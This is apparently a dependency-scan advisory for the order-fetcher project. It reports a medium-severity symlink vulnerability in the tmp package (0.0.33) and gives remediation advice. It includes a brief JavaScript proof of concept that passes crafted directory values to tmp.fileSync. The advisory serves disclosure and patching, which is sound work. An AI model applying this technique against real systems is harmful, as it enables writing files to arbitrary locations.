Vulnerabilities

1 via 1 paths

Dependencies

94

Source

GitHub

Commit

25b8fa30

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Severity
  • 1
Status
  • 1
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medium severity
new

Symlink Attack

  • Vulnerable module: tmp
  • Introduced through: @inquirer/prompts@5.5.0

Detailed paths

  • Introduced through: order-fetcher@jaredreisinger/order-fetcher#25b8fa3012fcee135eb59a6dc20096b77ca8517c @inquirer/prompts@5.5.0 @inquirer/editor@2.2.0 external-editor@3.1.0 tmp@0.0.33

Overview

Affected versions of this package are vulnerable to Symlink Attack via the dir parameter. An attacker can cause files or directories to be written to arbitrary locations by supplying a crafted symbolic link that resolves outside the intended temporary directory.

PoC

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

Remediation

Upgrade tmp to version 0.2.4 or higher.

References